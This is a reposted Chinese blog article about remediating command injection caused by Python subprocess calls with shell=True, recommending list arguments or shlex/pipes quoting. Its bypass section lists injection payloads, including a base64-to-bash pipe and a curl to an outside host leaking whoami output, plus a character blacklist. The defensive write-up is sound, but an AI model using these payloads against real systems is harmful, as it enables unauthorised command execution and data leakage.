漏洞?在我Python眼里是不存在的!修复Python任意命令执行漏洞!

[复制链接]
♀┽棒棒糖ベ 发表于 2019-5-17 05:10:27 | 显示全部楼层 |阅读模式
来源:https://www.jianshu.com/p/b392bcbb2ae6
若内容不全,可点击上述链接查看来源网页,在网页中点击红色双层向下的箭头阅读全文


1前言

今天遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行,一开始大胆猜测将True改为False即可。经过测试确实是这样,但是参数需要放在list里,稍微有点麻烦。

后来考虑,还可以做黑名单,过滤掉特殊字符,那就写fuzz脚本跑那些需要过滤的字符。最后觉得黑名单方式可能会被绕过,就看官方文档,发现了一个牛逼的修复方法,利用shlex.quote()在命令的参数两边加上一对单引号。

进群:548377875 即可获取数十套PDF哦!

2测试环境

CentOSLinuxrelease7.3.1611(Core)

Python2.7.5

本文在没有特殊描述环境下,都是在以上环境测试。

3shell值为True和False的区别

先来看看造成命令执行的代码

s=subprocess.Popen('id',shell=True,stderr=subprocess.PIPE,stdout=subprocess.PIPE)

print(s.communicate())#输出结果,并kill产生的新进程

当shell=True,并且第一个参数外部可控,那么就能造成任意命令执行。

3.1shell为False

改为False,任意命令执行漏洞就会被修复。但确实是这样

>>>s=subprocess.Popen(["ls",";id"],shell=False,stderr=subprocess.PIPE,stdout=subprocess.PIPE)

>>>s.communicate()

('','ls:cannotaccess;id:Nosuchfileordirectory')

这样即使;id可控,也不能任意命令执行。

执行cat/etc/passwd,如果命令要跟参数,第一个参数必须是一个list。

>>>importsubprocess

>>>s=subprocess.Popen(['cat','/etc/passwd'],shell=False,stderr=subprocess.PIPE,stdout=subprocess.PIPE)

此时,查看python的进程情况:

[root@sec~]#ps-ef|grep24593

root2459324536011:28pts/000:00:00python

root2459424593011:28pts/000:00:00[cat]

可以看到python有一个子进程叫做(cat)。证明,shell=False是python作为父进程执行了cat这个bin文件,产生一个子进程。测试的时候,如果要kill刚产生的子进程,使用s.communicate(),并查看返回结果。

测试发现,当shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死。

3.2shell为True

importsubprocess

s=subprocess.Popen('whoami|wc-l',shell=True,stderr=subprocess.PIPE,stdout=subprocess.PIPE)

可以看到,Python新建了一个叫sh的子进程,该进程执行了whoami|wc-l命令。继续执行python命令s.communicate(),刚产生的子进程就被kill了。

[root@sec~]#ps-ef|grep16323

root1632316256014:20pts/000:00:00python

root1637916323014:26pts/000:00:00[sh]

所以,证明,当shell=True时,Python调用/bin/sh去执行命令。

但是有一个特例,当shell=True,执行一个没有任何参数的命令的情况和shell=False一样。说明,没有任何参数的命令,设置shell=True,并没有生效。

s=subprocess.Popen('whoami',shell=True,stderr=subprocess.PIPE,stdout=subprocess.PIPE)

再查看发现,python的子进程并没有sh,而是[[whoami]<defunct>],所以证明了,没有任何参数的命令,设置shell=True,并没有新建一个bash去执行该命令。

[root@sec~]#ps-ef|grepwhoami

root1620015484014:13pts/000:00:00[whoami]

root1620311641014:14pts/100:00:00grep--color=autowhoami

[root@sec~]#ps-ef|grep15484

root1548410092012:24pts/000:00:00python

root1620015484014:13pts/000:00:00[whoami]

3.3总结二者区别

比较简单粗暴的可以理解为,True用/bin/sh执行,False是Python直接调用命令,而不会通过bash。

具体的细节区别:

当执行的命令没有参数时,无论是否设置shell=True,python直接执行该命令,而不是通过/bin/sh

当shell=True,并且命令存在参数时,python调用/bin/sh执行命令

当shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死

如果设置shell为False,并且想执行带参数的命令,第一个参数必须是一个list

4Linux命令执行绕过

现在有个目标是,利用lsxx来执行id命令,xx可控。fuzz后的结果:

ls|id

ls;id

ls&id

ls回车id

ls`id`

ls`id`前面加了一个空格

ls`id`反斜杠id等价于id

ls$(id)

下面这几种姿势是在网上的相关paper看到的,补充下,不过还是会利用|&;等分割符。

ls|a=i;b=d;$a$b拼接

ls|echoaWQ=|base64-d|bash利用base64

ls|curltest.joychou.org/`whoami`利用dnslog或者httpweblog

5漏洞修复

所以看来,设置shell=False并不能修复命令执行,并且还会影响我们想执行的正常命令。

那就做特殊字符过滤吧。从上面的绕过姿势来看,需要过滤的字符总结如下:

ascii为10

;

|

&

`

$

(

)

fuzz的代码大概如下,如果有特殊需求,还需要酌情修改。

#coding:utf-8

importsubprocess

defexec_cmd(cmd):

p=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)

res_msg,res_err=p.communicate()

res=res_msg+res_err

returnres

defmain():

foriinrange(1,256):

cmd='echo111'+chr(i)+'id'

if'uid'inexec_cmd(cmd):

printchr(i),i,cmd

foriinrange(32,126):#可见ascii码

ifchr(i)=='u'orchr(i)=='|'orchr(i)=='&'orchr(i)==';'ori==10:

continue

forjinrange(32,126):

cmd='echo111'+chr(i)+'id'+chr(j)

if'uid'inexec_cmd(cmd):

printchr(i),i,cmd

if__name__=='__main__':

main()

综上,检测代码:

defcheck_cmd_exec(input):

'''

*input为输入字符串

*检测到危险字符串,返回True,否则返回False

*author:JoyChou

*date:2018-03-21

'''

res=''

blacklist='`$()&;|'

fori,chinenumerate(input):

iford(ch)==10orchinblacklist:

returnTrue

returnFalse

不过,话说,有没有自带比较简单粗暴的过滤函数之类的?既能保证功能正常,也能保证安全性。

6官方修复

最后在官方文档上看到这样一个描述:

Whenusingshell=True,pipes.quote()canbeusedtoproperlyescapewhitespaceandshellmetacharactersinstringsthataregoingtobeusedtoconstructshellcommands.

意思就是,用pipes.quote()过滤就好了。

不过,这个库已经被官方废弃了,官方推荐使用shlex.quote()。其实pipes.quote()和shlex.quote()这两个功能一样,都是当参数有特殊字符时,在参数两边加上一对''。

>>>a=shlex.quote('xxaa~')

>>>a

"'xxaa~'"

>>>a=shlex.quote('xxaa')

>>>a

'xxaa'

避免命令的原理,看下这个实例就懂了。

>>>filename='somefile;whoami'

>>>command='ls-l{}'.format(quote(filename))

>>>print(command)

ls-l'somefile;whoami'

需要注意,只能用在参数上。并且Python2没有shlex,但是Python2和3都有pipes,所以想都适配就用pipes。

7总结

推荐两种修复方式:

shell=True,使用pipes.quote()对参数进行过滤

shell=False,参数使用list。缺点是写参数时会稍微麻烦点